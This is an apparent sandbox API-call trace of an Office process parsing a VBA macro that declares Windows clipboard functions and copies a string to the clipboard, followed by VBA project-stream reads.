	[0050.243] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.243] lstrlenA (lpString="CloseClipboard") returned 14
	[0050.243] IMalloc:Alloc (This=0x7feffc15380, cb=0x1e) returned 0xb791d00
	[0050.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850046, cbMultiByte=-1, lpWideCharStr=0xb791d00, cchWideChar=15 | out: lpWideCharStr="CloseClipboard") returned 15
	[0050.243] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.243] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="user32") returned 0x10ce2a
	[0050.244] _mbscpy_s (in: _Dst=0x73832a0, _DstSizeInBytes=0xf, _Src=0xb881ca8 | out: _Dst=0x73832a0) returned 0x0
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EmptyClipboard") returned 0x10a85a
	[0050.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850076, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14
	[0050.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850076, cbMultiByte=14, lpWideCharStr=0xbca3268, cchWideChar=14 | out: lpWideCharStr="EmptyClipboard") returned 14
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.244] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.244] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.245] lstrlenA (lpString="user32") returned 6
	[0050.245] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xbb72b30
	[0050.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320ca, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=7 | out: lpWideCharStr="user32") returned 7
	[0050.245] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.245] lstrlenA (lpString="EmptyClipboard") returned 14
	[0050.245] IMalloc:Alloc (This=0x7feffc15380, cb=0x1e) returned 0xb791d00
	[0050.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850076, cbMultiByte=-1, lpWideCharStr=0xb791d00, cchWideChar=15 | out: lpWideCharStr="EmptyClipboard") returned 15
	[0050.245] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.245] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.245] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="user32") returned 0x10ce2a
	[0050.245] _mbscpy_s (in: _Dst=0x73832d0, _DstSizeInBytes=0xf, _Src=0xb881ca8 | out: _Dst=0x73832d0) returned 0x0
	[0050.245] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.245] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.245] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.245] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.245] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SetClipboardData") returned 0x102f30
	[0050.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68500a6, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16
	[0050.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68500a6, cbMultiByte=16, lpWideCharStr=0xbca3268, cchWideChar=16 | out: lpWideCharStr="SetClipboardData") returned 16
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wFormat") returned 0x107435
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.246] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="hMem" | out: _Dst="hMem") returned 0x0
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.246] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.246] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.246] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.246] lstrlenA (lpString="user32") returned 6
	[0050.246] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xbb72b30
	[0050.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320d1, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=7 | out: lpWideCharStr="user32") returned 7
	[0050.246] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.247] lstrlenA (lpString="SetClipboardData") returned 16
	[0050.247] IMalloc:Alloc (This=0x7feffc15380, cb=0x22) returned 0xb791d00
	[0050.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68500a6, cbMultiByte=-1, lpWideCharStr=0xb791d00, cchWideChar=17 | out: lpWideCharStr="SetClipboardData") returned 17
	[0050.247] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.247] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.247] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="user32") returned 0x10ce2a
	[0050.247] _mbscpy_s (in: _Dst=0x7383300, _DstSizeInBytes=0x11, _Src=0xb881ca8 | out: _Dst=0x7383300) returned 0x0
	[0050.247] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8e1270, cb=0x800) returned 0xbd02410
	[0050.247] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.247] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.247] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.247] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.247] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GetClipboardData") returned 0x102fde
	[0050.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850102, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16
	[0050.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850102, cbMultiByte=16, lpWideCharStr=0xbca3268, cchWideChar=16 | out: lpWideCharStr="GetClipboardData") returned 16
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wFormat") returned 0x107435
	[0050.248] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="wFormat" | out: _Dst="wFormat") returned 0x0
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wFormat") returned 0x107435
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.248] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.248] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.248] lstrlenA (lpString="user32") returned 6
	[0050.248] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xbb72b30
	[0050.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320d8, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=7 | out: lpWideCharStr="user32") returned 7
	[0050.248] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.248] lstrlenA (lpString="GetClipboardData") returned 16
	[0050.248] IMalloc:Alloc (This=0x7feffc15380, cb=0x22) returned 0xb791d00
	[0050.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850102, cbMultiByte=-1, lpWideCharStr=0xb791d00, cchWideChar=17 | out: lpWideCharStr="GetClipboardData") returned 17
	[0050.248] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.249] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="user32") returned 0x10ce2a
	[0050.249] _mbscpy_s (in: _Dst=0x7383334, _DstSizeInBytes=0x11, _Src=0xb881ca8 | out: _Dst=0x7383334) returned 0x0
	[0050.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lstrcpy") returned 0x10d383
	[0050.249] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="#If", cchCount1=-1, lpString2="lstrcpy", cchCount2=-1) returned 1
	[0050.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850136, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7
	[0050.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850136, cbMultiByte=7, lpWideCharStr=0xb881ca8, cchWideChar=7 | out: lpWideCharStr="lstrcpy") returned 7
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lpString1") returned 0x10c190
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lpString2") returned 0x10c191
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.251] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.251] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.251] lstrlenA (lpString="kernel32") returned 8
	[0050.251] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0xbb72b30
	[0050.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320df, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=9 | out: lpWideCharStr="kernel32") returned 9
	[0050.251] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.251] lstrlenA (lpString="lstrcpy") returned 7
	[0050.251] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbb72b30
	[0050.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850136, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=8 | out: lpWideCharStr="lstrcpy") returned 8
	[0050.251] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.251] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kernel32") returned 0x10a55f
	[0050.251] _mbscpy_s (in: _Dst=0x7383368, _DstSizeInBytes=0x8, _Src=0xb881ca8 | out: _Dst=0x7383368) returned 0x0
	[0050.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a
	[0050.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GMEM_MOVEABLE") returned 0x108aab
	[0050.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee613eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4
	[0050.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee613eba0, cbMultiByte=-1, lpWideCharStr=0xb881ca8, cchWideChar=4 | out: lpWideCharStr="&H2") returned 4
	[0050.254] VarI4FromStr (in: strIn="&H2", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee613ea10 | out: plOut=0x7fee613ea10) returned 0x0
	[0050.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a
	[0050.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GMEM_ZEROINIT") returned 0x10db35
	[0050.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee613eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5
	[0050.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee613eba0, cbMultiByte=-1, lpWideCharStr=0xb881ca8, cchWideChar=5 | out: lpWideCharStr="&H40") returned 5
	[0050.255] VarI4FromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee613ea10 | out: plOut=0x7fee613ea10) returned 0x0
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GHND") returned 0x10b0b3
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GMEM_MOVEABLE") returned 0x108aab
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GMEM_ZEROINIT") returned 0x10db35
	[0050.255] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57cd0, cb=0x100) returned 0xb97ecf0
	[0050.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CF_TEXT") returned 0x105298
	[0050.256] atoi (_Str="1") returned 1
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MAXSIZE") returned 0x10b153
	[0050.256] atoi (_Str="4096") returned 4096
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mmm") returned 0x10b479
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MyString") returned 0x1012f6
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hGlobalMemory") returned 0x109f56
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lpGlobalMemory") returned 0x100752
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hClipMemory") returned 0x100aab
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="X") returned 0x10106f
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hGlobalMemory") returned 0x109f56
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalAlloc") returned 0x109d6a
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GHND") returned 0x10b0b3
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9
	[0050.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MyString") returned 0x1012f6
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lpGlobalMemory") returned 0x100752
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalLock") returned 0x10eb50
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hGlobalMemory") returned 0x109f56
	[0050.259] IMalloc:Realloc (This=0x7feffc15380, pv=0xb97ecf0, cb=0x200) returned 0x76270f0
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lpGlobalMemory") returned 0x100752
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lstrcpy") returned 0x10d383
	[0050.259] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="#If", cchCount1=-1, lpString2="lstrcpy", cchCount2=-1) returned 1
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lpGlobalMemory") returned 0x100752
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MyString") returned 0x1012f6
	[0050.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0050.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalUnlock") returned 0x1085c6
	[0050.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hGlobalMemory") returned 0x109f56
	[0050.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933
	[0050.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b
	[0050.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutOfHere") returned 0x104f2f
	[0050.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0050.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0050.262] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OpenClipboard") returned 0x100006
	[0050.262] VarI4FromStr (in: strIn="0", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee613ea10 | out: plOut=0x7fee613ea10) returned 0x0
	[0050.262] atoi (_Str="0") returned 0
	[0050.262] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933
	[0050.262] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f
	[0050.262] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.262] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="X") returned 0x10106f
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EmptyClipboard") returned 0x10a85a
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hClipMemory") returned 0x100aab
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SetClipboardData") returned 0x102f30
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CF_TEXT") returned 0x105298
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hGlobalMemory") returned 0x109f56
	[0050.263] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutOfHere") returned 0x104f2f
	[0050.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0050.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CloseClipboard") returned 0x107962
	[0050.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933
	[0050.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MsgBox") returned 0x105297
	[0050.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0050.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0050.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.265] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd1dee0, cb=0x510) returned 0xbd1dee0
	[0050.265] CExposedStream::Release () returned 0x1
	[0050.265] CExposedStream::Release () returned 0x0
	[0050.266] CExposedStream::Release () returned 0x0
	[0050.266] IMalloc:Free (This=0x7feffc15380, pv=0xbc3a1b0) 
	[0050.266] IMalloc:Free (This=0x7feffc15380, pv=0xbc38180) 
	[0050.266] IMalloc:Free (This=0x7feffc15380, pv=0xbcecb20) 
	[0050.266] IMalloc:Free (This=0x7feffc15380, pv=0xbceaaf0) 
	[0050.266] IMalloc:Free (This=0x7feffc15380, pv=0x4ed5af0) 
	[0050.266] lstrcpyA (in: lpString1=0x5347a7c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT"
	[0050.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5347a7c, cbMultiByte=-1, lpWideCharStr=0x270930, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8
	[0050.266] CExposedStream::Stat () returned 0x0
	[0050.266] CExposedStream::Read () returned 0x0
	[0050.266] lstrlenA (lpString="") returned 0
	[0050.266] lstrcpyA (in: lpString1=0xd54df50, lpString2="" | out: lpString1="") returned=""
	[0050.267] lstrlenA (lpString="") returned 0
	[0050.267] lstrcpyA (in: lpString1=0xd54df90, lpString2="" | out: lpString1="") returned=""
	[0050.277] lstrlenA (lpString="") returned 0
	[0050.277] lstrcpyA (in: lpString1=0x5348ad0, lpString2="" | out: lpString1="") returned=""
	[0050.277] lstrcpynA (in: lpString1=0x5348b30, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info"
	[0050.278] CExposedStream::Stat () returned 0x0
	[0050.278] CExposedStream::Read () returned 0x0
	[0050.278] CExposedStream::Release () returned 0x0
	[0050.278] lstrcpyA (in: lpString1=0xd54df70, lpString2="" | out: lpString1="") returned=""
	[0050.279] lstrcpynA (in: lpString1=0xd54cb2c, lpString2="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}", iMaxLength=39 | out: lpString1="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}"
	[0050.279] StringFromGUID2 (in: rguid=0x7fee60f78a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0xba9e088, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39
	[0050.279] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned -1
	[0050.279] lstrlenA (lpString="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned 38
	[0050.279] lstrlenA (lpString="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned 38
	[0050.279] lstrlenA (lpString="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned 38
	[0050.279] CExposedStream::Commit () returned 0x0
	[0050.279] CExposedStream::Release () returned 0x0
	[0050.280] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0050.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb87cfc8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0050.281] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0050.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb87cfc8, cbMultiByte=11, lpWideCharStr=0xb78f068, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0050.281] lstrlenA (lpString="VBAProject") returned 10
	[0050.281] GetCurrentThreadId () returned 0x8e8
	[0050.281] GetCurrentThreadId () returned 0x8e8
	[0050.281] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb78f090
	[0050.281] GetCursorPos (in: lpPoint=0x270b30 | out: lpPoint=0x270b30*(x=571, y=556)) returned 1
	[0050.281] GetCapture () returned 0x0
	[0050.281] WindowFromPoint (Point=0x22c0000023b) returned 0x1023e
	[0050.281] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0050.281] SendMessageA (hWnd=0x1023e, Msg=0x84, wParam=0x0, lParam=0x22c023b) returned 0x1
	[0050.281] SendMessageA (hWnd=0x1023e, Msg=0x20, wParam=0x1023e, lParam=0x2000001) returned 0x1
